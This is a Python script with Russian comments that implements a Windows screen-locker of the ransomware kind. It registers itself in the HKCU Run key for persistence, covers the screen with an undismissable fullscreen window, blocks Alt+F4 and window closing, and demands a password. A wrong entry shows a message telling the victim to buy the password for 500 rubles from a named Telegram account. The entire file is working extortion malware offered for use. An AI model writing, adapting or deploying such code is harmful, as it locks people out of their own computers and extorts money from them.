Загрузка данных
# -*- coding: utf-8 -*-
import tkinter as tk
from tkinter import messagebox
import winreg
import sys
import os
import ctypes
import time
# ==================== КОНФИГУРАЦИЯ ====================
PASSWORD = "abobanecheat456"
TG_MESSAGE = "@Ranlaurel4 пиши этому юзеру в ТГ чтобы купить пароль за 500 рублей"
AUTOSTART_KEY = "WindowsLocker" # Имя ключа в реестре
# =====================================================
def set_autostart():
"""Добавляет текущий скрипт в автозагрузку текущего пользователя."""
try:
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
# Путь к исполняемому файлу (если скомпилирован в .exe, то sys.executable указывает на него)
# Если запущен как .py, нужно использовать python.exe с аргументом
if getattr(sys, 'frozen', False):
exe_path = sys.executable
else:
exe_path = f'"{sys.executable}" "{__file__}"'
winreg.SetValueEx(regkey, AUTOSTART_KEY, 0, winreg.REG_SZ, exe_path)
except Exception:
pass
def remove_autostart():
"""Удаляет ключ автозагрузки."""
try:
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
winreg.DeleteValue(regkey, AUTOSTART_KEY)
except Exception:
pass
def block_input(block=True):
"""Блокирует/разблокирует ввод с клавиатуры и мыши (только для Windows)."""
if block:
ctypes.windll.user32.BlockInput(True)
else:
ctypes.windll.user32.BlockInput(False)
def on_closing():
"""Заглушка – запрещает закрытие окна стандартными способами."""
pass
def check_password():
"""Проверяет введённый пароль."""
entered = entry.get()
if entered == PASSWORD:
remove_autostart() # Удаляем из автозагрузки
block_input(False) # Разблокируем ввод
root.destroy() # Закрываем окно
sys.exit(0) # Завершаем процесс
else:
label_error.config(text=TG_MESSAGE)
entry.delete(0, tk.END) # Очищаем поле для нового ввода
# ==================== СОЗДАНИЕ ОКНА ====================
root = tk.Tk()
root.attributes('-fullscreen', True) # Полноэкранный режим
root.attributes('-topmost', True) # Поверх всех окон
root.overrideredirect(True) # Без рамки и заголовка
root.protocol("WM_DELETE_WINDOW", on_closing) # Блокируем крестик
# Блокируем сочетание Alt+F4 (не даём закрыть через системное меню)
def block_alt_f4(event):
if event.keysym == 'F4' and (event.state & 0x0004): # 0x0004 = Alt
return "break"
root.bind('<Key>', block_alt_f4)
# Также блокируем все стандартные системные комбинации, которые могут закрыть окно (Ctrl+Esc и т.п.)
# Для надёжности перехватываем все события закрытия – дополнительно используем протокол.
# Блокируем ввод мыши и клавиатуры (чтобы нельзя было переключиться на другие окна)
# ВНИМАНИЕ: BlockInput блокирует ВСЁ, даже ввод в наше окно, поэтому мы разблокируем после проверки пароля.
# Поэтому используем его только после того, как окно появилось, и разблокируем при правильном пароле.
# Но тогда как вводить пароль? Если блокировать сразу, то и ввод пароля станет невозможен.
# Значит, блокировать нужно только другие окна, но не своё. Более правильный подход – перехватывать события на системном уровне.
# Для простоты оставляем без BlockInput, но чтобы усилить – можно запустить бесконечный цикл, который перехватывает фокус.
# В данном решении мы не используем BlockInput, чтобы поле ввода работало.
# Однако мы делаем окно поверх всех, без возможности свернуть, и запрещаем закрытие.
# ==================== ИНТЕРФЕЙС ====================
frame = tk.Frame(root, bg='black')
frame.pack(expand=True)
# Заголовок "Введите пароль"
label_prompt = tk.Label(frame, text="Введите пароль:", font=("Arial", 28, "bold"),
fg='white', bg='black')
label_prompt.pack(pady=30)
# Поле ввода пароля (скрыто звёздочками)
entry = tk.Entry(frame, show="*", font=("Arial", 24), width=20, justify='center',
bg='gray20', fg='white', insertbackground='white')
entry.pack(pady=20)
entry.focus_force() # Принудительно устанавливаем фокус на поле
# Кнопка "OK"
btn_ok = tk.Button(frame, text="OK", command=check_password, font=("Arial", 18),
bg='green', fg='white', activebackground='darkgreen', width=10)
btn_ok.pack(pady=15)
# Метка для вывода сообщения об ошибке (изначально пустая)
label_error = tk.Label(frame, text="", fg='red', font=("Arial", 18, "bold"),
bg='black', wraplength=800)
label_error.pack(pady=30)
# Обработка нажатия Enter в поле ввода
entry.bind('<Return>', lambda event: check_password())
# ==================== ЗАПУСК ====================
if __name__ == "__main__":
# Добавляем в автозагрузку при первом запуске (если ключа нет – создаётся)
set_autostart()
# Запускаем главный цикл окна
root.mainloop()